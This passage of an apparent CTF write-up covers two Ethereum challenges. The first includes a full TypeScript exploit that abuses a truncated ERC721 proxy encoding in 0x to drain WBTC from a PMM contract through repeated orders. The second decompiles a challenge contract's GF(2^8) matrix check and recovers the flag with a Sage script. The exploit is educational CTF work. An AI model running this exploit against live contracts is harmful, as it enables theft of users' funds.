            // bytes4(keccak256("transferFrom(bytes,address,address,uint256)")) = 0xa85e59e4
            if eq(selector, 0xa85e59e400000000000000000000000000000000000000000000000000000000) {

                ... // authorization check omitted for writeup
                

                // There exists only 1 of each token.
                // require(amount == 1, "INVALID_AMOUNT")
                if sub(calldataload(100), 1) {
                    // Revert with `Error("INVALID_AMOUNT")`
                    mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
                    mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
                    mstore(64, 0x0000000e494e56414c49445f414d4f554e540000000000000000000000000000)
                    mstore(96, 0)
                    revert(0, 100)
                }

                /////// Setup Header Area ///////
                // This area holds the 4-byte `transferFrom` selector.
                // Any trailing data in transferFromSelector will be
                // overwritten in the next `mstore` call.
                mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
                
                /////// Setup Params Area ///////
                // We copy the fields `from` and `to` in bulk
                // from our own calldata to the new calldata.
                calldatacopy(4, 36, 64)

                // Copy `tokenId` field from our own calldata to the new calldata.
                let assetDataOffset := calldataload(4)
                calldatacopy(68, add(assetDataOffset, 72), 32)

                /////// Call `token.transferFrom` using the calldata ///////
                let token := calldataload(add(assetDataOffset, 40))
                let success := call(
                    gas,            // forward all gas
                    token,          // call address of token contract
                    0,              // don't send any ETH
                    0,              // pointer to start of input
                    100,            // length of input
                    0,              // write output to null
                    0               // output size is 0 bytes
                )
                if success {
                    return(0, 0)
                }
                
                // Revert with `Error("TRANSFER_FAILED")`
                mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
                mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
                mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
                mstore(96, 0)
                revert(0, 100)
            }

            // Revert if undefined function is called
            revert(0, 0)
        }
    }

Here, the important line is `calldatacopy(68, add(assetDataOffset, 72), 32)`. When abi-encoding the proxy calldata to `transferFrom(bytes,address,address,uint256)`, the `bytes` field is dynamic, and it's data will be placed at the end of the calldata. That means that if our assetData is truncated, this `calldatacopy` will copy from beyond the bounds of the calldata, which are defined to be 0 bytes by the EVM. So, omitting the `tokenId` from an ERC721 proxy encoding is equivalent to setting `tokenId = 0`.

But how does this help us? The ERC721 proxy will call `ERC721(address).transferFrom(from, to, 0)`, so wouldn't that simply fail if we set `address == WBTC`? As it turns out, no! Coincidentally, `ERC721.transferFrom` and `ERC20.transferFrom` have the same signature, so the `transferFrom` call will look like an attempt to transfer 0 WBTC!

## Exploit

In order to exploit this bug, we need to execute a 0x order with `makerAssetData = abi.encodeWithSelector(ERC721_PROXY_SELECTOR, WBTC)`. PMM assumes that 0x uses the ERC20 proxy and transfers `makerAssetAmount` of WBTC, but instead the ERC721 proxy transfers 0 `WBTC`! PMM will then transfer us `makerAssetAmount` of WBTC.

So... does that mean somebody could currently drain the PMM contract of all its tokens? Not quite, because of one small detail: the ERC721 proxy requires that `makerAssetAmount = 1` (because transfering more than 1 ERC721 of the same `tokenId` doesn't make sense). This means that for each order you execute, you can only steal 1 of the token, which is almost always a negligible amount of value (especially compared to the gas cost of the exploit!). In this challenge, we're paying for gas with fake ETH, so we will simply repeat the exploit 128 times to get the flag!

Actually constructing and executing the orders is a little bit tedious, so we won't explain all the details, but the full exploit code is below:

import { BigNumber, Contract, providers, Wallet, utils } from "ethers";
import { readFileSync } from "fs";

const provider = new providers.JsonRpcProvider("{REDACTED}")
const privkey = "{REDACTED}";
const wallet = new Wallet(privkey, provider);

async function main() {
    console.log(await provider.getBlockNumber());

    const WBTC = new Contract(
        "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599",
        readFileSync("WBTC.abi").toString(),
        wallet
    );
    const PMM = new Contract(
        "0x8D90113A1e286a5aB3e496fbD1853F265e5913c6",
        readFileSync("PMM.abi").toString(),
        wallet
    );
    const UserProxy = new Contract(
        "0x03f34be1bf910116595db1b11e9d1b2ca5d59659",
        readFileSync("UserProxy.abi").toString(),
        wallet
    );
    const ZeroExchange = new Contract(
        "0x080bf510FCbF18b91105470639e9561022937712",
        readFileSync("zeroex.abi").toString(),
        wallet
    );

    let before = WBTC.balanceOf(PMM.address);

    // truncated ERC-721 proxy, reads 0 for tokenID
    let fakeMakerAssetData = "0x025717920000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";

    // ERC-20 proxy
    let realMakerAssetData = "0xF47261B00000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";

    let ZERO_ADDR = "0x0000000000000000000000000000000000000000";
    let makerAddress = wallet.address;
    let takerAddress = ZERO_ADDR;

    for (var i = 0; i < 200; i++) { // repeat 200 times in case some fail; this is overkill
        const order = {
            makerAddress,
            takerAddress: PMM.address,
            //takerAddress: ZERO_ADDR,
            feeRecipientAddress: ZERO_ADDR,
            senderAddress: ZERO_ADDR,
            makerAssetAmount: 1,
            takerAssetAmount: 1,
            makerFee: 0,
            takerFee: 0,
            expirationTimeSeconds: 1700000000n + BigInt(i), // change the expiration time to get different order hashes
            salt: 0,
            makerAssetData: fakeMakerAssetData,
            takerAssetData: "0xF47261B0000000000000000000000000C02AAA39B223FE8D0A0E5C4F27EAD9083C756CC2",
        };

        let info = await ZeroExchange.getOrderInfo(order);
        await ZeroExchange.preSign(info.orderHash, order.makerAddress, "0x");
        let zxCall = await ZeroExchange.populateTransaction.fillOrKillOrder(order, order.takerAssetAmount, "0x" + "00".repeat(100) + "06");

        let userSalt = 0n;

        let SCHEMA = utils.keccak256(utils.toUtf8Bytes("ZeroExTransaction(uint256 salt,address signerAddress,bytes data)"));
        let dataHash = utils.keccak256(zxCall.data as string);
        let transactionHash = utils.keccak256(
            utils.defaultAbiCoder.encode(
                ["bytes32", "uint256", "address", "bytes32"],
                [SCHEMA, userSalt, PMM.address, dataHash]
            )
        );

        let digest = utils.solidityKeccak256([ "bytes32", "address" ], [ transactionHash, wallet.address ]);
        let userSignature = await  wallet.signMessage(utils.arrayify(digest));
        userSignature += wallet.address.substring(2);

        let pmmCall = await PMM.populateTransaction.fill(userSalt, zxCall.data, userSignature);
        try {
            let res = await UserProxy.toPMM(pmmCall.data, { value: order.takerAssetAmount, gasLimit: 2000000 });
            console.log(i, (await res.wait()).transactionHash);
        } catch(e) {
            console.log(i, e)
        }
    }

    let after = await WBTC.balanceOf(PMM.address);
    console.log(before, after);
    console.log("now go get the flag!")
}

<br>

# fun-reversing-challenge

This is an EVM reverse-engineering challenge. The server will show the flag if `isSolved()` returns true.

import "Challenge.sol";

interface ChallengeInterface {
  function solved() external view returns (bool);
}

contract Setup {
  ChallengeInterface public challenge;
  
  constructor() {        
    challenge = ChallengeInterface(address(new Challenge()));
  }
  
  function isSolved() public view returns (bool) {
    return challenge.solved();
  }
}

To solve this, we need to analyze the `Challenge` contract and make `challenge.solved()` true. The source code of `Challenge` is not given to participants. Only EVM opcodes could be collected using JSON-RPC API ([eth_getCode](https://docs.alchemy.com/reference/eth-getcode)).

## High-level operations

The contract accepts two function selectors:
- **0x799320bb** aka `solved()` returns `uint8/bool` value from storage slot 0x0 (`bool solved`),
- **0xc64b3bb5** accepts an input in unknown format and sets `solved = 1` if the input meets certain condition.

The rest of this article discusses about **0xc64b3bb5**.

## Bottom-up analysis

As part of bottom-up analysis, we first collected possible entry offsets of functions by static analysis and decompiled each function. Then we filtered out some known library-generated functions. At Theori, we are building internal tools (including a decompiler) to analyze smart contracts. We used these tools to efficiently and correctly analyze the EVM bytecode. We hope to make them available to the public in the near future.

- Safe mathematics
- func_cd3: `+`
- func_cb4: `*`
- func_ca1: `-`
- func_ce6: `++`
- Others
- func_{b3d,8c5,9d4} calculates something
- func_a85 compares the calculation result with constant values
- func_888 calls func_a85 and sets `solved = 1` if the returned value is 1

### func_b3d: modular multiplication over GF(2^8) with modulo 0x11b

function func_b3d (uint256 a0, uint256 a1, uint256 a2) returns (uint256) {
  uint256 v0;
  uint256 v1;
  uint256 v2;
  v0 = a1;
  v1 = a2;
  v2 = 0x0;
  do {
    if (v1 & 0x1) {
      v2 = v0 ^ v2;
    }
    if (v0 & 0x80) {
      v0 = 0x1b ^ ((uint8)v0 << 1);
    } else {
      v0 = (uint8)v0 << 1;
    }
    v1 = (uint8)v1 >> 0x1;
  } while ((uint8)v1);
  return v2;
}

This routine seemed like a multiplication over the finite field GF(2^8), which is described in [Wikipedia](https://en.wikipedia.org/wiki/Finite_field_arithmetic#C_programming_example). The whole routine was the same, including the modulo used in the multiplication.

### func_a85: comparison over two 6x6 matrices

function func_a85 (uint256 a0, uint256 a1, uint256 a2) returns (uint8) {
...
  v0 = a1;
  v1 = a2;
  v2 = 0x0;
  while (v2 < 0x6) {
    v3 = 0x0;
    while (v3 < 0x6) {
      if (v2 < 0x6) {
        v4 = MLOAD((v2 << 0x5) + v1);
        if (v3 < 0x6) {
          v5 = (uint8)MLOAD((v3 << 0x5) + v4);
          if (v2 < 0x6) {
            v6 = MLOAD((v2 << 0x5) + v0);
            if (v3 < 0x6) {
              if ((uint8)MLOAD((v3 << 0x5) + v6) != v5) {
                return 0x0;
              }
              v3 = safe_increment(v3);
              continue;
            }
          }
        }
      }
      MSTORE32(0x0, 0x4e487b71 << 0xe0);
      MSTORE32(0x4, 0x32);
      revert(0x0, 0x24);
    }
    v2 = safe_increment(v2);
  }
  return 0x1;
}

The decompiled code above has some redundant patterns. Specifically, while iterating `v2` over `[0, 6)`, it checks if `v2 < 0x6` before each memory access: `MLOAD`, `MSTORE32`. If the comparison fails, it simply reverts. From this behavior, we can speculate them as boundary checks against fixed-size array like `uint8[6][6]`.

Then it accesses `uint256` values at the offset `MEM[v2 << 0x5] + (v3 << 5)` from `a1(=v0)` and `(a2=v1)`. There are two solidity-specific design decisions to note (from [Solidity documentation](https://docs.soliditylang.org/en/v0.8.15/internals/layout_in_memory.html)):

- Each `uint8` actually occupies 32 bytes in the memory.
> Elements in memory arrays in Solidity always occupy multiples of 32 bytes ...
- Instead of using `6x6 (36)` elements, it uses the pointers to `uint8[6]` arrays, like double pointers in other languages.
> Multi-dimensional memory arrays are pointers to memory arrays.

Also after googling `0x4e487b71`, we learned that this `revert()` is [generated by solidity](https://blog.soliditylang.org/2020/10/28/solidity-0.8.x-preview/) for array bound checks. With this in mind, we can simplify the code as below, which becomes a simple matrix comparison:

function func_a85(uint8[6][6] a2, uint8[6][6] a3) {
  for(uint v2 = 0; v2 < 6; v2++) {
    for(uint v3 = 0; v3 < 6; v3++) {
      if(a1[v2][v3] != a2[v2][v3]) {
        return 0;
      }
    }
  }
  return 1;
}

### func_8c5, func_9d4: matrix multiplication and addition

This is what we have after removing the similar boundary checks from the other two functions:

function func_8c5(a1, a2) {
  func_b92();
  v2 = func_b92();
  for(uint v3 = 0; v3 < 6; v3++) {
    for(uint v4 = 0; v4 < 6; v4++) {
      for(uint v5 = 0; v5 < 6; v5++) {
        v9 = func_b3d(a1[v3][v5], a2[v5][v4]);
        v2[v3][v4] ^= v9
      }
    }
  }
}

function func_9d4(a1, a2) {
  for(uint v2 = 0; v2 < 6; v2++) {
    for(uint v3 = 0; v3 < 6; v3++) {
      a1[v2][v3] ^= a2[v2][v3]
    }
  }
}

In finite field arithmetic, xor (`^`) is used for addition, so we can see that `func_9d4` is matrix addition and `func_8c5` is multiplication.

## Analyzing the remaining parts

Then, from the function trace, we found out that it calls
1. matrix multiplication with M0
2. matrix addition with M1
3. comparison with M2

where M0 ~ M2 is hardcoded matrices.

Maybe we can just reverse these steps in 3-2-1 and check the result! Before trying it out, we need to dump the matrices. Since the current EVM debuggers do not have decent interactive memory viewer/dumper (if you know any, please let us know), we patched `0x8c5` to log the whole memory into the log, using `LOG0` instruction. For testing we used `forge test -vvvv` inside [Foundry](https://getfoundry.sh/).

Code patch:

PUSH3 0x100000 ; memory length
PUSH1 0x0      ; memory offset
LOG0           ; dump memory to log
SELFDESRTUCT   ; for cleanup
=>
621000006000A0FF

Dumped matrices:

M0 = [
  [0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
  [0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
  [0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
  [0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
  [0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
  [0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
  [0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
  [0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
  [0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
  [0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
  [0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
  [0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
  [0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
  [0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
  [0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
  [0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
  [0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
  [0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]

Because why not, we gave it a try without further analysis. Unfortunately, just running the steps in reverse order didn't give us a printable text or flag (which was technically not required but probably meant we are not doing it correctly).

Since we also need to figure out the input format required by `0xc64b3bb5`, we decided to analyze how the functions above are called exactly using EVM disassembler e.g., [ida-evm](https://github.com/crytic/ida-evm).

<center style="color:#999">EVM control flow graph generated by IDA Pro and ida-evm</center>
<br>

Reading the assembly, we found the following input-related checks:

- The selector takes single argument in `bytes` format with the length of 42

  evm:00000071                 JUMPDEST
  evm:00000072                 PUSH1    0x2a
  evm:00000074                 DUP2
  evm:00000075                 EQ ; func_bdd() == 0x2a

- The input is in `PCTF{...}` format

  ; Checks if the 1st byte is 0x50 (P)
  evm:000000C2                 PUSH1    0x5
  evm:000000C4                 PUSH1    0xfc
  evm:000000C6                 SHL
  evm:000000C7                 EQ ; 0x5 << 0xfc == input[0] << 0xf8
  ; the 2nd byte is 0x43 (C)
  evm:000000F6                 PUSH1    0x43
  evm:000000F8                 PUSH1    0xf8
  evm:000000FA                 SHL
  evm:000000FB                 EQ ; 0x43 << 0xf8 == input[1] << 0xf8
  ...

Then the character inside `PCTF{...}` is 36 bytes, which fits into 6x6 matrix. Now we'll analyze how each functions are called.

evm:0000081C routine:                                ;
evm:0000081C                 PUSH2    0x838          ; #2 JUMP at 0x837 returns to 0x838
evm:0000081F                 DUP4
evm:00000820                 PUSH2    0x832          ; #1 JUMP at 0x831 returns to 0x832
evm:00000823                 DUP7
evm:00000824                 DUP6
evm:00000825                 PUSH2    0x8c5          ; multiply matrices
evm:00000828                 SWAP1                   ; x, func_8c5
evm:00000829                 SWAP2                   ; y, func_8c5, x
evm:0000082A                 SWAP1                   ; func_8c5, y, x
evm:0000082B                 PUSH4    0xffffffff
evm:00000830                 AND
evm:00000831                 JUMP
evm:00000832 ; ----------------------------------------------------------------------
evm:00000832                 JUMPDEST
evm:00000833                 SWAP1
evm:00000834                 PUSH2    0x9d4          ; add matrices
evm:00000837                 JUMP
evm:00000838 ; ----------------------------------------------------------------------
evm:00000838                 JUMPDEST
evm:00000839                 SWAP4
evm:0000083A                 POP
evm:0000083B                 PUSH2    0x848          ; #4 JUMP at 0x837 returns to 0x848
evm:0000083E                 DUP4
evm:0000083F                 PUSH2    0x832          ; #3 JUMP at 0x847 returns to 0x832
evm:00000842                 DUP5
evm:00000843                 DUP8
evm:00000844                 PUSH2    0x8c5
evm:00000847                 JUMP
evm:00000848 ; ----------------------------------------------------------------------
... repeated 6 times
evm:00000888                 JUMPDEST
evm:00000889                 SWAP4
evm:0000088A                 POP
evm:0000088B                 PUSH2    0x894
evm:0000088E                 DUP5
evm:0000088F                 DUP3
evm:00000890                 PUSH2    0xa85          ; compare matrices
evm:00000893                 JUMP

`0000081C` ~ `00000831` sets up EVM stack like:

| func_8c5 (multiply) | arg1 | arg2 | 00000832 | 00000838 |

After `func_8c5` is finished, it returns to the caller function by executing `JUMP`, which is `00000832`. Then `00000832` sets up EVM stack like below:

| func_9d4 (add) | arg1 | arg2 | 00000838 |

So we can see that multiplication comes first, followed by addition. Interestingly, `00000838` ~ `00000847` uses `00000832` again after calling the multiplication for the second time. So, `00000832` is used like a reusable piece of code for matrix addition. This pattern is repeated 6 times, then the comparison function at `0xa85` is called.

From the above, we now know that the step 1, 2 is repeated 6 times. By doing this in reverse step, we can get the flag.

## Solution

M0 = [
    [0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
    [0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
    [0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
    [0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
    [0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
    [0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
    [0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
    [0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
    [0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
    [0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
    [0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
    [0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
    [0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
    [0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
    [0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
    [0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
    [0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
    [0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]

# Setup GF(2^8) finite field with modulus 0x11b (x^8 + x^4 + x^3 + x + 1)
F.<x> = GF(2^8, modulus=GF(2^9).fetch_int(0x11b))
M0 = Matrix(F, Matrix(M0).apply_map(F.fetch_int))
M1 = Matrix(F, Matrix(M1).apply_map(F.fetch_int))
M2 = Matrix(F, Matrix(M2).apply_map(F.fetch_int))


def print_flag(flag):
    flag_int = bytearray(36)
    for i in range(6):
        for j in range(6):
            flag_int[6*i+j] = flag[i, j].integer_representation()
    print(flag_int)


flag = M2
for i in range(6):
    flag = flag + M0
    flag = (M1 ^ -1) * flag
print_flag(flag)